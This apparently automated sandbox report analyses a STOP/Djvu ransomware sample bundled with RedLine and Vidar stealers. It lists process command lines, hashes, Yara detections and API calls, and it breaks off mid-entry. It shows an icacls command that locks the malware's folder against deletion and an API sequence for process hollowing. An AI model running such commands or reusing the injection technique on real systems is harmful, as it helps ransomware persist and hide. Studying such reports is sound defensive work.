Start time:	13:44:54
Start date:	11/01/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x4d0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:44:54
Start date:	11/01/2024
Path:	C:\Users\user\Desktop\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2114398215.0000000002544000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:44:55
Start date:	11/01/2024
Path:	C:\Users\user\Desktop\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:44:56
Start date:	11/01/2024
Path:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe --Task
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.2132445419.000000000254E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:44:56
Start date:	11/01/2024
Path:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe --Task
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:45:03
Start date:	11/01/2024
Path:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe"
Imagebase:	0x400000
File size:	367'104 bytes
MD5 hash:	C4070DA9F9B0581171AF16E681CCDFF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.2197813106.00000000006D3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:45:03
Start date:	11/01/2024
Path:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe"
Imagebase:	0x400000
File size:	367'104 bytes
MD5 hash:	C4070DA9F9B0581171AF16E681CCDFF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:45:07
Start date:	11/01/2024
Path:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.2258110870.000000000244B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:45:07
Start date:	11/01/2024
Path:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:45:15
Start date:	11/01/2024
Path:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.2324121630.0000000000A50000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:45:15
Start date:	11/01/2024
Path:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	44.7%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 02660110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02660156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0266016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02660255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02660270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02660283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0266029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 026602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02660304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0266032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02660399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026603BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 026603E1
ResumeThread.KERNELBASE(00000000), ref: 026603ED
ExitProcess.KERNEL32(00000000), ref: 02660412

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 2f978ca8db2fd7d2e7ddde4fb9f4b3004f8fb2f341e96cd4199178bcd1062734
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: B6B1C774A00209AFDB44CF98C895FAEBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 024FA7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 024FA7EE
Module32First.KERNEL32(00000000,00000224), ref: 024FA80E

Memory Dump Source

Source File: 00000000.00000002.2089445916.00000000024FA000.00000040.00000020.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24fa000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 28713ddcea36bfd68191f80633f40a76a3d79feec0dea3833061f2d74b315587
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: BFF096312007206FD7603BF5A88DF6FB7FCAFC9625F10452AE74A911C0DBB0E8464A61

Uniqueness

Uniqueness Score: -1.00%

Function 02660420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02660533

Strings

mfoaskdfnoa, xrefs: 02660520, 02660523
saodkfnosa9uin, xrefs: 026604DA
0, xrefs: 02660492
d, xrefs: 02660584

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: c746d60c61e316702d484c4d64d75aa7e3b98621fc78f7c6cf46bd88dc83b01d
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 74511770D08388DBEB11CBE8C949BEDBFB6AF11708F144058D5487F286C3BA5659CB66

Uniqueness

Uniqueness Score: -1.00%

Function 026605B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 026605EC

Strings

o, xrefs: 02660600
apfHQ, xrefs: 026605E2, 026605E5

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 1229bd02834c627eb16a2f6dfcbb0d665be68b36b18580a5580f5aaf045a7873
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 4B011E70C0425CEADB14DB98C5183AEBFB5AF41308F1480E9C4096B341D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 024FA485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 024FA4D6

Memory Dump Source

Source File: 00000000.00000002.2089445916.00000000024FA000.00000040.00000020.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24fa000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 480e5cf5f7a1729b04aa7ef82f60e9528c35012dc866500c15bfbc5577199e89
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 03113C79A00208EFDB01DF98C985E99BBF5AF08350F0580A5FA489B361D371EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0267F030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0267F0A7
_wcsstr.LIBCMT ref: 0267F14E
_strstr.LIBCMT ref: 0267F3D6
_malloc.LIBCMT ref: 0267F526
_memset.LIBCMT ref: 0267F534
_strstr.LIBCMT ref: 0267F57A
_malloc.LIBCMT ref: 0267F6F5
_memset.LIBCMT ref: 0267F703
_free.LIBCMT ref: 0267F7B5
_free.LIBCMT ref: 0267F7C2

Strings

", xrefs: 0267F640

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 8056bc31ae10e59795b928cede96d5042e01ccb76756dc4744c9f494734c6256
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 4542F471508380ABD720EF64EC48F9B7BE9BF85308F04092DF98997291DB75D509CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0267A930 Relevance: 10.3, APIs: 3, Strings: 2, Instructions: 1565COMMON

Download Yara Rule

Strings

x2Q, xrefs: 0267B1F6
<, xrefs: 0267B01B

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: <$x2Q
API String ID: 2102423945-643667464
Opcode ID: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction ID: 124ca6528517182fb053014a3d8fff62d20cbb4be44734bd25c9080b009b90a5
Opcode Fuzzy Hash: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction Fuzzy Hash: 36D2BF70504341EBD714EF64EC94BAFBBE6BF94308F00092DE48687290EB75A949CF96

Uniqueness

Uniqueness Score: -1.00%

Function 026700D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: 747e52d8112448c4ecf9472d94052471bd2fc330548d8354bef0eab5d4862729
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: A2528E71D00248DBDF14DFA8E895BDEB7B5BF14308F208169D819A7290E731AA49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0266E6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 0266E72D
_wcsstr.LIBCMT ref: 0266E756
_memset.LIBCMT ref: 0266E784

Part of subcall function 026AFC0C: std::exception::exception.LIBCMT ref: 026AFC1F
Part of subcall function 026AFC0C: __CxxThrowException@8.LIBCMT ref: 026AFC34
Part of subcall function 026AFC0C: std::exception::exception.LIBCMT ref: 026AFC4D
Part of subcall function 026AFC0C: __CxxThrowException@8.LIBCMT ref: 026AFC62
Part of subcall function 026AFC0C: std::regex_error::regex_error.LIBCPMT ref: 026AFC74
Part of subcall function 026AFC0C: __CxxThrowException@8.LIBCMT ref: 026AFC82
Part of subcall function 026AFC0C: std::exception::exception.LIBCMT ref: 026AFC9B
Part of subcall function 026AFC0C: __CxxThrowException@8.LIBCMT ref: 026AFCB0

_wcsstr.LIBCMT ref: 0266EA0C
_memset.LIBCMT ref: 0266EE5C

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 6d3b90398142bc84fc535628b9ea7cdc003ddd7e99aeccb5fcbfeffe499183a1
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: EC52CE75A002099FDF24DF68C898BAEBBF6BF44304F14456DE846AB381D7329945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02670B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: 7dd615e962968c335499bf9c7dfae2a4cafd984eeb76847008a0973dfce5d592
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: 2A426B71D00248DBDB14EFA4D894BDEB7F5BF05308F2441ADD819A7290EB31AA49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0266DBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 9c46558b9c16d29ba5676a3703d74c927562429bb11f33b137bb2aa6bbe32fca
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 5C525070E00259DFDB50DBA4C898FEEBBB5BF49704F148198E505BB290DB71AD46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 026E22C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 026E291E

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 3798abe0c766ffb63704831901611db69fe20d87c913cf099098f2f7634061a9
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: B43262B0E012299BEF619F64CC54BAEB77EFF44704F0441EAEA0DA6150DB748A80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 02665DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: 2af7531f5eef6bbc8039f6d3e5d9c2786df32687fc17f60e0c285e6dd304b6b8
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: 0342B071629F158BC3DADF24C88055BF3E1FFC8218F048A1DD99997A90DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 0266A026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: 8d12d851427f7c02ef8de6b50c9e6c93843869704b5b04c086b8a4d33175407a
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 5F22D0B6904B128FC714CF19D08065AF7E1FF88324F558A6EE9A9A7B10D730BA55CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02662B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 02663520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: ecdf4c2d4d85a8ea8cbdf8f4b8ba97573d2af484d36836ca8e6a477d70a04f82
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: C2029F711187058FC756EE0CD49036AF3E2FFC8309F198A2DD68987B64E739A5198F86

Uniqueness

Uniqueness Score: -1.00%

Function 026689D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
